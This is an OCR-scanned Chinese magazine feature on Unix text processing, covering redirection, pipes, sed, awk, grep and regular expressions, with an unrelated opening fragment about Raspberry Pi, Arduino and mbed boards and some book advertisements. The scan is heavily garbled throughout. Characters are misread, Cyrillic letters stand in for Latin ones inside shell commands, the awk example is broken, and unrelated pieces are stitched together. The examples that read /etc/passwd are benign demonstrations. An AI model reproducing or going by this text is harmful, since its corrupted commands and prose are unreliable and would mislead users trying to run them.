不 一 样 的 意见 ， 笔 者 根据 目 己 的 理解 对 其 进行 





@) http://www.shumeipai.net/ 


v1 各 种 主板 的 不 同 


了 上 总结， 如 照片 4、 表 1 所 示 。 

微型 计算 机 能 做 的 事 也 是 有 限 的 。 连 接 
互联 网 的 时 候 ， 如 果 稍 微 了 解 一 些 硬件 的 话 ， 
Казре rry Pi 的 开发 环境 应 是 最 丰富 便捷 的 。 
如 有 果 还 不 十 分 了 解 便 件 ，Ardi no 或 者 mbeb 的 
言 息 非 常 丰 富 , 可 以 方便 地 完成 自己 想 做 的 东西 。 
至 于 是 选择 Ardi no 还 是 mbeb， 则 要 根据 需要 
微型 计算 机 进行 的 处 理 的 种 类 来 判断 了 。 如 果 
需要 处 理 字符 串 ， 则 mbeb 比较 方便 ; 但 鉴于 
大 多 数 处 理应 该 都 能 找到 使 用 Ardi no 实现 过 
的 人 , 所 以 有 些 人 会 觉得 使 用 Ardi по 会 更 轻松 。 

男 一 方面 ， 如 果 不 需 要 网 络 连 接 ， 而 只 
做 一 些 交互 性 的 东西 的 话 ,， 根据 可 以 获得 的 
信息 数量 来 看 ， 可 以 说 Arduino 是 最 简单 的 。 
在 笔者 看 来 ， 如 果 是 5V 电 压 的 设备 ， 就 使 用 
Arduino， 而 如 果 3.3V 设 备 ， 则 使 用 mbeb。 























УД 各 种 主板 并 排放 症 
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一 直 以 来 ，sed 和 AWK 都 是 UNIX/Linux 的 工程 师 们 喜欢 使 用 的 工具 。 它 们 的 语法 简单 易学 、 在 
终端 可 以 立即 使 用 ， 非 常 方便 。 如 果 和 其 他 的 UNIX 命令 组 合 起 来 使 用 ， 其 应 用 范围 将 会 非常 广泛 。 
不 管 是 从 没 接触 过 sed/AWK 的 人 ， 还 是 曾 使 用 过 sed/AWK 但 近来 好 久 没 用 的 人 ， 都 可 以 借 这 个 机 会 
再 进一步 擎 握 sed/AWK， 从 而 提高 在 UNIX/Linux 上 的 处 理 效率 。 
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{ sed 和 AWK 超 级 入 门 


MISR 1/7520 


在 正式 学 习 sed 和 AWK 之 前 ， 本 章 将 先 介绍 UNIX 文本 数据 的 处 理 方法 。 了 解 了 这 些 ， 就 能 回答 为 什么 现在 


有 必要 学 习 sed、AWK ”这 个 问题 了 。 


а UNIX 的 基础 


20 世 纪 60 年 代 后 期 ， 有 一 个 名 为 Multics、 
在 当时 具有 高 性 能 (所 谓 的 高 性 能 实际 上 只 是 
很 复杂 而 已 ) 的 实验 性 OS 项 目 。 虽 然 这 个 项 
目 最 终 失 败 了 ,但 吸取 这 个 项 目的 经 验 教训 
之 后 ,， 便 诞生 了 简洁 型 OS。 这 种 OS 与 复杂 的 
Multics 正 相反 ， 当 初 被 称 作 Unics (后 来 改名 
为 UNIX )。 

正如 其 名 ,这 种 OS 非常 简单 ， 而 且 附 带 
的 工具 集 也 都 是 单 性 能 的 、 简 单 的 。 特 别 是 因 
为 最 初 的 使 用 者 大 都 是 程序 员 或 计算 机 研究 人 
员 ， 他 们 为 了 得 到 自己 想 要 的 结果 ， 会 把 单 性 
能 的 命令 组 合 起 来 使 用 ， 因 此 倒 也 不 觉得 吃力 。 
像 这 样 ， 为 了 把 多 个 命令 组 合 起 来 使 用 ， 人 们 
进一步 发 展 了 在 OS 设计 之 初 就 有 的 标准 输入 
输出 的 想法 ， 从 而 出 现 了 作为 命令 组 合 手段 的 
“管道 ”结构 。 

С) 标 准 答 入 输出 

标准 输入 输出 是 UNIX 设 计 之 初 就 引进 
的 输入 输出 的 通道 。 是 一 种 在 程序 被 执行 时 ， 
OS 可 以 自动 地 分 配 输入 、 输 出 以 及 错误 输出 
设备 的 机 制 。 

在 UNIX 以 前 的 计算 机 系统 中 ， 在 程序 使 
用 输入 输出 设备 时 ， 需 要 使 用 JCL 等， 用 程序 
来 分 配 输入 输出 设备 ,非常 肪 烦 。 而 在 UNIX 
中 ， 因 为 输入 输出 都 事先 在 OS 上 进行 了 分 配 ， 

















即使 有 多 个 程序 在 同时 使 用 ,使 用 者 也 好 程序 
也 好 ， 并 不 需要 什么 特别 的 操作 就 可 以 使 用 输 
入 输出 设备 了 。 

OS 在 程序 局 动 时 会 执行 一 个 叫 作 startup 
routine 的 共通 的 初始 化 处 理 。 在 这 个 处 理 中 准 
备 好 标准 输入 输出 以 便于 使 用 。 标 准 状态 的 分 
配 是 这 样 的 : 输入 设备 (标准 输入 ) 是 键盘 ， 输 
出 设备 (标准 输出 ) 以 及 错误 输出 设备 (标准 错 
误 输 出 ) 是 终端。 


的 shell HÆK 


在 UNIX 中 ， 内 核 和 用 户 接口 通常 是 由 叫 
作 shell 的 程序 来 提供 的 。 登 录 UNIX 系统 时 ， 
指定 的 登录 shell 将 被 执行 ， 终端 表示 提示 符 ， 
等 竺 用 户 输 入 。 用 户 输入 命令 ， 系 统 就 会 解释 
输入 的 命令 字符 串 ， 生 成 进程 ， 把 命令 的 执行 
结果 显示 出 来 。shell 承 担 的 责任 非常 重大 。 

在 shell 上 执行 程序 也 可 以 利用 标准 输入 输 
出 。 不 过 ， 如 果 使 用 shell 上 的 重 定向 功能 ， 就 
可 以 简单 地 变更 标准 输入 输出 。 比 如 使 用 符号 
“>”， 就 是 指示 变更 标准 输出 的 输出 位 置 。 标 
准 状态 的 标准 输出 是 分 配给 终 问 的 ， 命令 的 执 
行 结 果 也 会 在 终端 表示 出 来 ， 如 果 把 输出 位 置 
重 定 问 到 文件 , 执行 结果 就 会 保存 到 文件 中 (图 
1 )。 如 果 在 输出 位 置 文件 已 经 存在 了 ， 那 么 将 
会 先 删除 文件 的 所 有 内 容 ， 再 把 新 的 内 容 写 到 
ЭСЕР 

如 果 使 用 符号 “>>” 则 表示 这 样 的 指示 : 
在 变更 标准 输出 的 输出 位 置 的 同时 ，( 输 出 位 



































Ут 重 定 同 把 输出 位 置 改 为 文件 


$ 15 

$ < 因为 文件 不 存在 所 以 什么 也 没有 显示 出 来 
ДШ Г? i E Ет E 

foo 

$ echo "foo" > file 


$ 15 
file RIH 
$ cat file < 显示 文件 内 容 


foo 


有 图 3 重 定向 从 文件 读 取 


< 二 没有 参数 的 cat 表 示 从 标准 输入 中 输入 的 
foo 

foo 

bar 

bar 

输入 Ctm+ 品 ( 表 示 输 入 结束 ) 


$ cat 


把 cat 的 标准 输入 分 配给 文件 
[°Т° — E] 2 中 生成 的 文件 内 容 被 输出 


Баг 


” 5 输入 方 和 输出 位 置 重 定 同 为 同一 文件 


输入 方 和 输出 位 置 重 定向 为 同一 文件 


$ cat file 
$ 和 一 文件 内 容 被 清空 








置 文件 已 存在 的 情况 下 ) 追加 文件 内 容 ( 图 2 )。 

同样 ， 使 用 符号 “<” 可 以 重 定向 标准 输入 
的 输入 方 。 从 标准 输入 接收 数据 的 命令 通常 是 
从 键盘 接收 ， 但 如 果 把 输入 方 重 定向 为 文件 ， 
就 可 以 从 文件 读 取 数据 了 (图 3 )。 

可 以 同时 重 定向 输入 和 输出 。 此 时 ， 命 令 
的 输入 和 输出 都 可 以 分 配给 文件 等 (图 4 )。 

男 外 ,输入 和 输出 可 以 指定 为 同一 文件 。 
但 是 在 这 种 情况 下 执行 命令 可 能 得 不 到 所 期 望 
的 结果 。 要 注意 命令 会 把 输入 文件 (= 输出 文件 ) 
内 容 清 空 (图 5 )。 


管道 和 流 
管道 是 输入 输出 的 想法 进一步 发 展 的 结 


是 为 了 实现 菏 个 命令 的 标准 输出 下 接 作为 为 一 
个 命令 的 输入 而 提供 的 单 回 数据 流 机 制 。 

















从 UNIX 文 本 处 理 的 基础 开始 
sed 和 AWK 超 级 入 门 


有 图 2 重 定向 追加 文件 内 容 


$ (5 

file 

$ cat file 

foo 

Ф есһо "баг" >> 11е 一 以 追加 形式 重 定向 到 文件 
$ (5 

file 

$ cat file 
foo 

bar 


显示 文件 内 容 





有 图 4 ”同时 重 定向 输入 和 输出 


$ cat < file > output 
$ cat file 

foo 

bar 

$ cat output 
foo 

bar 


<— 77 output 的 内 容 





标准 的 shell 一 般 用 符号 “| 来 表示 
管道 。 比 如 commandA|commandB 就 表 
IR А 的 标准 输出 作为 B 的 标准 输入 来 使 用 。 
在 省 道中 流通 的 数据 称 为 “ 流 ”"， 是 单纯 
的 学 方 流 ， 并 没有 像 “ 行 ”这样 的 数据 分 
隔 概念 。 

空 管道 谈 入 (从 管道 的 输入 侧 输 入 数据 )， 
直到 能 有 数据 该 出 为 止 ， 谈 入 处 理 都 是 加 锁 的 。 
另外 ， 由 于 输出 侧 的 命令 不 能 从 管道 谈 和 数据 
等 原因 ，OS 在 内 部 为 管道 预 留 的 缓存 都 满 了 
的 情况 下 , (从 管道 输 出 侧 谈 和 人 数据 直到 缓存 
为 空 为 止 ) 对 管道 的 写 人 操作 也 是 加 锁 的 。 

像 这 样 ， 利 用 管道 把 多 个 命令 组 合 起 来 使 
用 时 ,为 了 可 以 让 多 个 命令 都 流畅 地 使 用 数据 ， 
一 般 只 使 用 由 ASCI 码 构成 的 文本 数据 。 为 了 
在 发 生 错误 时 也 不 阻碍 管 者 中 的 数据 流 ， 错 误 

言 县 不 输出 到 标准 输出 ， 而 是 输出 到 标准 错误 
输出 。 

对 标准 输入 中 输入 的 数据 进行 加 工 ， 并 在 
标准 输出 中 进行 输出 的 命令 叫 "过滤 硕 ” 命 令 。 
这 次 要 介绍 的 sed 和 awk 也 是 为 了 加 工 数据 流 
而 做 成 的 文本 加 工 过 滤 需 命令 。 
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从 现在 开始 sed/AWK 再 入 门 
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sed 和 awk 


sed 和 awk 的 基本 功能 都 是 对 标准 输入 中 
输入 的 文本 数据 进行 加 工 ， 在 标准 输出 中 进行 
输出 。 那 么 为 什么 会 有 多 个 具有 相同 功能 的 命 
ТЛЕ? 


69) еа 


首先 来 看 一 下 sed, 它 的 名 字 由 Stream 
Editor 而 来 。 正 如 其 名 ， 设 计 它 是 用 来 作为 加 
工 文本 流 数据 编辑 需 的 。 所 以 ，sed 基 本 以 行 
为 单位 来 处 理 输入 数据 。 比 如 它 就 在 对 输入 行 
用 正则 表达 式 进 行 匹 配 蔡 换 等 方面 发 挥 了 作 
用 。 我 们 也 可 以 使 用 分 文 以 及 一 种 叫 作 pattern 
space 的 模式 空间 ,不 过 用 法 有 些 难 异 ， 实 际 
中 也 不 太 会 用 到 (笔者 认为 )。 

在 文件 /etc/passwd 中 ,将 /bin/bash 指定 的 
登录 shell 全 部 替换 成 /usr/local/bin/bash 的 例子 
如 图 6 所 示 。cat 的 输出 通过 管道 传 给 sed 进行 
ЖЕЛЕ Ч, /etc/passwd 中 表示 登录 的 shell 是 最 




















D 本 来 可 以 对 sed 直接 指定 文件 ,为 了 体现 使 用 管道 才 和 
cat 一 起 使 用 的 。 


У 6 sed 替换 
4 显示 源 文 件 


root:x:0:0:root:/root:/bin/bash 
bin:x:1:1:bin:/bin:/sbin/nologin 
daemon:x:2:2:daemon:/sbin:/sbin/nologīn 


lp:x:4:7:Llp:/var/spool/lpd:/sbin/nologin 


sync:Xx:5:0:sync:/sbin:/bin/sync 


shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 


halt:x:7/:0:halt:/sbin:/sbīin/halt 


后 一 项 ， 所 以 将 以 /bin/bash 结 束 的 行 用 sed 的 
s 命 令 蔡 换 成 /usrlocalbin/bash。 最 后 的 $ 表 示 
作为 替换 对 象 的 /bin/bash 处 于 行 尾 ， 所 以 即使 
在 行 中 间 出 现 /bin/bash， 也 不 会 被 当 作 替换 对 
象 。 在 这 个 例子 中 ， 因 为 替换 对 象 的 字符 串 中 
含有 “/”， 所 以 没有 采用 sed 的 标准 记述 法 “/”， 
而 是 用 “! ”进行 记述 。 


69) awk 


反之 ，awk 会 事先 把 输入 的 数据 根据 字 
段 单 位 进行 分 割 。 在 没 指定 分 割 单 位 的 情况 下 ， 
以 输入 数据 中 的 空格 或 Tab 为 分 隔 符 对 数据 
进行 分 割 ， 因 为 对 单位 数据 的 加 工 比较 容易 
一些 

而 且 , 与 sed 相 比 , 它 以 更 接近 编程 语言 
的 文法 记述 处 理 ， 此 外 还 包含 了 通过 正则 表达 
式 进 行 的 字符 串 操 作 、 人 简单 的 数学 酚 数 功能 等 。 
假设 编程 语言 的 基本 功能 只 有 分 文 、 循 环 、 变 
量 的 使 用 ， 而 这 些 awk 都 可 以 实现 ,那么 它 完 
全 可 以 称 为 编程 声言。 事实 上 ， 笔 者 已 经 只 靠 
使 用 awk 的 功能 做 了 一 个 简单 的 语法 解析 工具 。 

使 用 和 刚才 的 sed 例 子 同 样 的 /etcp sswd 
文件 ， 统 计 各 个 登录 shell 的 用 户 数 的 例子 如 图 


























mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 


uucp:x:10:14:uucp:/var/spool/uucp:/bin/bash 


nobody :x:99:99:Nobody:/:/bin/bash 


$ cat /etc/passwd | sed "s!/bin/bash$!/usr/local/bin/bash!g" 
root:x:0:Ø0:root:/root:/usr/local/bin/bash 


bin:x:1:1:bin:/bin:/sbin/nologin 
daemon:x:2:2:daemon:/sbin:/sbin/nologin 


lp:x:4:7:Llp:/var/spool/lpd:/sbin/nologin 


sync:Xx:5:0:sync:/sbin:/bin/sync 


shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 


halt:x:7:0:halt:/sbin:/sbīin/halt 


< 和 一 使 用 sed 蔡 换 字 符 串 


mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 
uucp:x:10:14:uucp:/var/spool/uucp:/usr/local/bin/bash 


породу : х: 99:99 : М№ороау: / : /иѕг/ Госа /61п/Ббаѕћ 











7 所 示 。BEGIN 节 记 述 的 是 在 开始 读 入 输入 行 
之 前 要 执行 的 处 理 。/etc sswd 的 字段 分 隔 符 
是 :， 所 以 用 FS=": "把 字段 分 隔 符 改 为 :。 
此 后 的 主要 处 理 部 分 记述 的 是 对 于 所 有 的 输入 
行 重复 执行 以 下 处 理 。awk 用 变量 NF 来 保存 输 
入 行 的 字段 数 ， 樟 可 以 用 来 访问 最 后 一 个 字 
段 的 值 。 在 这 个 例子 中 ， 因 为 最 后 一 个 字段 保 
存 的 是 登录 shell， 把 登录 shell 作为 索引 的 关联 
数组 shells 的 值 加 1。END 节 记述 的 是 在 所 有 
的 输入 行 读 入 完成 之 后 要 执行 的 处 理 。 这 个 例 
子 是 输出 作为 统计 结果 的 关联 数组 shells 的 内 容 。 


Ф 5+ + 

















综 上 所 述 ，sed 和 awk 各 有 擅长 之 处 。 应 
该 根据 处 理 内 容 和 使 用 者 的 喜好 灵活 运用 。 


а 


不 管 是 对 于 sed 还 是 awk， 正 则 表达 式 都 
很 重要 。 正 则 表达 式 是 指 用 通用 的 模式 表示 法 
来 表示 字符 串 排 列 的 手法 之 一 。 在 表示 字符 排 
列 时 ,通过 使 用 一 种 叫 作 元 字符 的 特殊 符号 表 
示 的 模式 ， 正 则 表达 式 可 以 灵活 地 对 应 并 不 完 
全 一 致 的 字符 排列 。UNIX 在 刚 开 始 时 的 各 种 
命令 都 活用 了 正则 表达 式 。 









































有 图 7 使 用 awk 做 的 统计 程序 


$ awk ' 
ВЕСІМ< 
< 把 字段 分 隔 符 改 为 ”:” 


итак ЕЕ нр УАН “ 一 给 关联 数组 的 值 加 1 
} 


END{ 


for(i in shells) 


print i ~: = 
}' /etc/passwd 
/sbin/shutdown: 1 
/bin/bash: 3 
/sbin/nologin: 4 
/sbin/halt: 1 
/bin/sync: 1 


从 UNIX 文 本 处 理 的 基础 开始 
sed 和 AWK 超 级 入 门 | 


正则 表达 式 所 使 用 的 元 字符 有 ж. ^ Ф, 
CAIS, KARE RREI) 正则 
表达 式 基 于 非常 高 深 的 理论 ， 内 容 很 深奥 ， 要 
详细 解说 起 来 ， 需 要 用 一 整 本 书 的 篇 幅 来 写 ， 
所 以 这 里 只 做 简单 的 说 明 。 

通过 使 用 如 表 1 那 样 的 元 字符 记述 模式 ， 
可 以 灵活 地 匹配 字符 串 。 








e 正 则 表达 式 “.*” ”可 以 匹配 包括 空 字符 
串 的 所 有 字符 串 

se 正 则 表达 式 “https?” 可 以 匹配 http 或 
https 

ө“^арс” E B Rabe F XW FAR, 
“xyz$” 匹 配 以 Xxyz 结尾 的 字符 囊 

efoo[1355] 与 foo1、foo3、foo5 中 任 
一 个 匹配 


vI 几 种 具有 代表 性 的 正则 表达 式 的 元 字符 






匹配 除了 换行 符 以 外 的 任意 单子 符 











0 次 或 多 次 匹配 前 面 的 字符 或 子 表达 式 








1 次 或 多 次 匹配 前 面 的 字符 或 子 表 达 式 
0 次 或 1 次 匹配 前 面 的 字符 或 子 表 达 式 












和 行 首 匹配 








和 行 尾 匹 配 
和 区 间 内 的 任意 字符 匹配 





shells[i]; 一 显示 关联 数组 的 所 有 值 
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从 现在 开始 sed/AWK 再 入 门 


я UNIX 工 程 师 的 喜好 
特辑 





| 命令 


除了 sed 和 awk 以 外 ,使 用 正则 表达 式 的 
命令 还 有 很 多 。 虽 然 难度 有 些 高 ， 但 是 如 采 可 
以 将 正则 表达 式 的 用 法 运用 自如 ， 对 使 用 者 而 
言 ，UNIX 的 世界 将 会 变 得 很 宽广 。 

比如 ,我 们 经 党 使 用 的 grep 命 令 也 是 正 
则 表达 式 的 活用 。grep 这 个 词 原本 就 是 表示 
一 个 叫 作 ed 的 编辑 希 的 命令 文法 ， 它 表示 把 g 
( Global = 把 整个 文件 作为 对 象 ) 用 re(Regular 
Expression = 正则 表达 式 )p ( Print = 表示 ) 出来。 

使 用 和 sed、awk 的 例子 一 样 的 文件 /etc/ 
passwd, 把 含有 bash 的 行 用 ed 命令 表示 出 
来 的 例子 如 图 8 所 示 。 执 行 ed 编 辑 带 的 命令 
g/bash/p， 显 示 整 个 文件 中 含有 bash 正则 表 
达 式 的 行 。ed 是 编辑 带 ， 所 以 通常 是 用 于 对 话 ， 
这 里 是 单纯 作为 UNIX 命 令 ， 它 也 可 以 进行 从 
标准 输入 接收 命令 的 类 似 于 过 滤 希 的 操作 。 从 
标准 输入 接收 编辑 从 命令 g/bash/p 人 然后 执行 。 

为 什么 编辑 硕 的 命令 要 制作 成 独立 的 命令 
呢 ?” 因 为 这 些 是 非常 便利 的 有 意义 的 命令 。 从 
文件 中 抽取 出 和 模式 匹配 的 行 ， 这 是 计算 机 在 
各 种 作业 时 常用 的 处 理 。 “没有 grep 的 环境 了 就 


























У 8 使 用 ed 进行 行 的 抽出 


$ echo "9/баѕһ/р" | ed -s /еїс/раѕѕма 
гоо: х: 0:0: гоо: /гоої: /Ьіп/Баѕћ 


ииср:х: 10:14: џиср: /маг/ѕроо( /ииср: /ріп/В 
bash 
nobody :x:99:99:Nobody:/:/bin/bash 


不 能 工作 ”, 也 许 使 用 UNIX 的 人 都 会 这 么 想 吧 。 
如 此 便利 的 通用 性 高 的 命令 ， 为 了 能 使 其 方便 
使 用 ， 就 把 它 做 成 了 独立 的 命令 ， 并 一 百 留用 
至 今 。 这 也 恰好 和 刚 开 始 提 到 的 “简单 的 单 性 
能 的 命令 ”的 想法 相 吻 合 。 

使 用 和 图 8 的 例子 相同 的 文件 /etc/passwd， 
ДЇ етер 命令 表示 含有 bash 的 行 的 例子 如 图 9 所 
示 。 其 实 没 有 什么 好 说 明 的 ， 就 是 显示 整个 文 
件 中 含有 bash 正 则 表达 式 的 行 。 比 使 用 ed 命 
令 完 成 相同 的 功能 显得 更 简单 。 

类 似 的 命令 还 有 很 多 。 比 如 tr 命令 是 蔡 换 
输入 字符 串 的 命令 ， 这 个 命令 也 可 以 说 是 sed 
的 子 集 。 这 个 命令 就 是 把 sed 功 能 中 使 用 最 多 
的 学 符 串 蔡 换 功能 作为 “简单 的 单 性 能 的 命令 ” 
抽取 出 来 了 。 在 UNIX 中 有 多 个 像 这 样 把 已 有 
命令 的 部 分 功能 抽出 来 做 成 专用 命令 的 例子 。 


f: 结 


标准 输入 输出 、 管 道 、 正 则 表达 式 ，UNIX 
的 一 些 特色 功能 都 简略 地 介绍 完了 。 篇 幅 所 限 ， 
我 们 不 可 能 分 别 对 这 些 功 能 进行 详细 的 说 明 。 
如 果 此 文 能 唤起 大 家 对 UNIX 提 供 的 便利 强大 
的 功能 的 兴趣 ， 笔 者 将 感到 非常 薪 幸 。 














有 图 9 使 用 grep 进 行 行 的 抽出 


$ grep "bash" /etc/passwd 
root:x:0:0:root:/root:/bin/bash 

ииср:х: 10:14: џиср: /маг/ѕроо( /ииср: /61п/ В 
bash 

nobody :x:99:99:Nobody:/:/bin/bash 











ДЕЙН: 





UNIX 和 字符 编码 


UNIX 本 来 就 是 在 美国 开 友 的 05， 所 以 1 字 节 当 
Е Т аА Н), (82, (НУ. + 
文 这 样 有 汉字 的 ， 可 能 会 有 几 干 甚至 几 万 个 文字 ， 
用 1 个 字 节 是 不 可 能 表示 所 有 的 文字 的 。 因 此 就 需 
要 在 用 两 个 或 多 个 字 节 来 表示 1 个 字符 的 字符 编码 
E 

最 初 在 UNIX 中 使 用 最 多 的 是 一 种 叫 作 EUC 
( Extended UNIX Code ) 的 字符 编码 。 日 语 的 平 假名 、 
片 假 名 、 代 表 性 的 汉字 用 两 个 字 节 表示 ， 英 文 数字 
和 日 语 也 很 容易 进行 区 别 ， 特 别 是 多 用 于 在 UNIX 环 
境 中 表示 日 语 的 情况 。 最 近 兴 起 了 一 种 叫 作 UTF-8 


| 


Linux 
系统 架构 和 应 用 技巧 


本 жжтЛРАР = е 一 


正则 表达 式 必 知 必 会 (修订 版 ) 


。 全 球技 术 人 员 正 则 表达 式 入 门 首 选 ， 罕 贴 实战 需求 


正则 表达 式 是 一 种 威力 无 比 强 大 的 武器 ， 几 乎 在 所 有 的 程序 设计 语言 里 和 计算 机 平 | 
台 上 都 可 以 用 它 来 完成 各 种 复杂 的 文本 处 理工 作 。 本 书 从 简单 的 文本 匹配 开始 ， 循 序 渐 
进 地 介绍 了 很 多 复杂 内 容 ， 其 中 包括 回溯 引用 、 条 件 性 求 值 和 前 后 查找 等 。 每 章 都 为 读 
者 准备 了 许多 简明 又 实用 的 示例 ， 有 助 于 人 全面、 系统、 快速 掌握 正则 表达 式 ， 并 运用 它 


们 去 解决 实际 问题 。 


从 UNIX 文 本 处 理 的 基础 开始 
sed 和 AWK 超 级 入 门 | 


的 字符 编码 ，Mac O05X 还 有 一 部 分 Linux 发 行 版 都 
采用 UTF-8 作 为 标准 字符 编码 。 

以 前 ， 在 UNIX 环 境 中 使 用 诸如 日 语 这 样 的 多 
字 节 字符 是 非常 困难 的 ， 甚 至 有 些 命令 根本 就 不 支 
持 多 字 节 字符 。 不 过 ， 现 在 通过 给 LANG 环 境 变 量 
设置 适当 的 值 , 通知 系统 和 命令 可 以 使 用 的 字符 编码 ， 
几 平 所 有 的 命令 都 可 以 正确 地 处 理 多 字 节 字符 。 比如， 
在 日 语 环境 中 字符 编码 采用 UTF-8， 只 要 把 LANG 指 
定 为 ja_UPUTF-8， 那 么 几乎 所 有 的 命令 都 可 以 正确 
地 处 理 多 字 节 字符 。 本 特辑 中 提 到 的 sed 和 awk 当 
然 也 是 可 以 正确 地 处 理 多 字 节 字符 的 。 


Linux 系统 架构 和 应 用 技巧 


。 清华 计算 机 系 副 系 主任 陈 文 光 、 北 航 计 算 机 学 院 院 长 吕 卫 锋 作 序 推荐 


( 本 书 内 容 涉 及 Linux 内 部 结构 、 虚 拟 化 基础 设施 环境 的 构建 、 内 核 源 代码 的 阅读 以 及 

RHEL6 新 功能 综述 。 通 过 搭建 虚拟 化 基础 设施 ， 给 读者 提供 了 方便 实用 的 Linux 系 统 的 学 
习 和 实践 环境 ; 同时 ， 设 计 了 10 个 可 操作 的 脚本 实验 ， 尽 可 能 履 兰 Linux 操 作 系统 的 关 
键 应 用 技术 ， 包 括 进程 监控 、 远 程 登录 、 文 本 处 理 等 。 其 中 的 技巧 根植 于 作者 的 多 年 经 验 ， 


шшш 具有 极 强 的 现场 感 和 可 操作 性 。 
| ы 


бат Tead ' 
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正则 表达 式 
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从 现在 开始 sed/AWK 再 入 门 
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特辑 
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ЕБ a = =- 


sed 详解 及 用 法 


文 / 锥 长 镇 一 Боокпоѕратф@їѕигипадајр 译 / 芳 万 


一 提 到 sed, 大 家 首先 想到 的 可 能 是 可 以 进行 简单 蔡 换 的 文本 过 滤器 吧 。 但 是 , sed 不 仪 能 进行 字符 串 或 字符 的 蔡 换 ， 
还 可 以 做 很 多 其 他 事情 ， 比 如 特定 行 的 处 理 及 删除 、 使 用 脚本 文件 进行 的 处 理 、 分 文 /循环 处 理 等 。 本 章 我 们 来 学 


习 一 下 sed 的 这 些 用 法 。 


i 


sed 是 一 个 简单 强大 的 文本 人 处理 工具。 Е 
起 源 很 早 ， 可 以 追溯 到 1973 年 。sed 作 为 标准 
命令 被 收集 到 了 UNIX 系 的 OS 中 ,， 所 以 一 旦 
发 生 问题 时 ， 这 个 命令 可 以 起 到 帮助 作用 。 即 
使 不 记 住 sed 的 所 有 用 法 ， 只 要 学 会 一 些 基 本 
用 法 ， 就 可 以 将 其 充分 应 用 于 日 常 工作 及 和 故 
障 应 对 中 了 。 

sed 的 名 称 来 源 于 Stream Editor( 流 编辑 
器 )， 是 针对 输入 流 一 口气 执行 所 有 事先 准备 
好 的 处 理 的 编辑 硕 。 它 不 像 vi、Emacs 那 样 的 “对 
话 式 编 辑 需 ”一 样 可 以 看 着 界面 编辑 文章 ， 而 
是 事先 把 编辑 的 内 容 以 “命令 ”的 形式 列举 出 
来 ， 对 文本 的 加 工 是 一 气 呵 成 的 。 所 以 适用 于 
对 一 系列 的 文件 反复 执行 相同 变更 的 情况 。 

另外 还 可 以 从 标准 输入 接收 数据 ， 所 以 对 
象 数据 就 没 必 要 一 一 保存 成 文件 了 。 比 如 可 以 
用 sed 来 处 理由 管道 输出 的 其 他 命令 的 结 

本 章 使 用 的 是 在 Ubuntu 13.04 上 安装 的 GNU 
sed4.2.1。 像 OSX、FreeBSD 这 样 的 BSD 系列 的 
UNIX 安装 的 是 BSD sed。 因 此 ， 会 有 几 个 命令 
的 选项 和 本 章 使 用 的 GNU sed 略 有 不 同 。 使 用 
的 sed 的 版 本 可 以 用 “--version” 选 项 进行 确认 。 


ПІ 

















$ sed ––мегѕ1іоп 


GNU sed 版 本 4.2.1 





那么 我 们 赶紧 来 看 一 下 sed 的 基本 用 法 吧 。 
实际 上 , 使 用 sed 就 是 对 文本 文件 进行 过 滤 处 理 。 
我 们 准备 一 个 如 代码 清单 1 所 示 的 源 文件 ， 按 
照 下 面 这 样 执行 sed， 文件 的 一 部 分 被 蔡 换 后 
输出 到 标准 输出 上 。 





$ sed -e 's/bbb/eee/' input.txt 

aaaeeecccddd aaabbbcccddd 

AAABBBCCCDDD aaaeeecccddd 
1234567890!? !"#$%8&'()?/_ 


sed 将 指定 的 文件 逐 行 证 入 ， 根 据 给 定 的 
条 件 进行 处 理 。 把 sed 当 作 单行 脚本 ( One-Liner ) 
使 用 ， 紧 跟着 “-e” 选 项 ， 即 可 把 处 理 内 容 作 
为 脚本 记述 下 来 。 如 采 蔡 换 成 “-f” 选项 ， 就 可 
以 读 和 事先 准备 好 的 脚本 文件 。 如 果 想 把 处 理 
结果 输出 到 文件 ， 只 需 使 用 “>” 进 行 重 定 问 就 
可 以 了 。 





$ sed -e 's/bbb/eee/' input.txt > 


output.txt 





查看 输出 的 文件 , 虽然 一 行 中 与 模式 匹 
配 的 地 方 有 两 处 , 但 只 有 最 开始 的 1 处 被 蔡 换 
To 第 1 行 前 半 部 分 的 “bbb” 被 奉 换 成 了 “eee ”， 
而 后 半 部 分 的 “bbb” 却 没有 变 。 如 果 想 把 所 有 








有 代码 清单 1 源 文件 ( input.txt ) 


aaabbbcccddd aaabbbcccddd 
AAABBBCCCDDD aaabbbcccddd 
123456789017 !"#$%&'()?/_ 














与 模式 匹配 的 地 方 都 符 换 反 ， 需 要 在 末尾 加 上 
标志 “g” А 

$ sed -e 's/bbb/eee/g' input.txt 

аааееесссааа аааееесссааа — EFTA bbb 

替换 成 еее 

这 是 sed 最 和 常 使 用 的 形式 。 而 且 还 可 以 

把 变更 对 象限 制 在 特定 的 行 。 比 如 只 想 蔡 换 
inpt tx 的 第 2 行 的 内 容 时 , 就 需要 指定 “地 址 ”。 











$ sed -e '2s/bbb/eee/g' input.txt 
Ekkle)ol ol oo lo 0 ЕТ: 10] ol 01011010 [oko 


AAABBBCCCDDD aaaeeecccddd 
12345678901? !"#$%8'()?/_ рї еее 
一 般 情 况 都 是 针对 文件 整体 进行 处 理 ， 使 
用 地 址 的 机 会 并 不 多 ， 不 过 对 于 像 日 志 数 据 这 








样 的 大 量 数据 的 分 割 编辑 还 是 很 便利 的 。 

现在 我 们 整理 一 下 思路 。 图 1 是 sed 作 为 
单行 脚本 使 用 时 的 基本 形式 。 在 理解 脚本 、 地 
址 、 命 令 等 sed 特 有 用 语 的 基础 上 ， 接 下 来 我 
们 了 解 一 下 具体 的 使 用 方法 。 


а sed 的 用 法 


接 下 来 对 单行 脚本 或 脚本 文件 中 可 以 使 用 
的 各 种 命令 、 地 址 指定 等 进行 说 明 。 


м 从 
B+ < 


至 此 为 止 介绍 的 sed 例 子 ， MEH “s” A 
令 进 行 子 符 串 符 换 的 。 此 外 还 有 “d (删除 )/p 
(数据 输出 )/y( 棕 换 1 个 字符 )/ w( 文 件 输出 ) 
Zn 人 (数据 输入 刀 等 各 种 各 样 的 命令 可 以 使 用 。 
这 里 介绍 一 下 常用 的 s у аяй. 














У 1 sed 的 基本 形式 


简单 强大 的 文本 处 理工 具 第 2 Е 
sed 详解 及 用 法 И 


5 命令 (字符 串 蔡 换 ) 

征 sed 中 被 频 索 使 用 的 命令 。 在 需要 把 时 
字符 串 兰 换 为 别 的 字符 串 的 情况 下 使 用 。 基 本 
格式 如 下 所 示 。 





> 


输入 .txt 








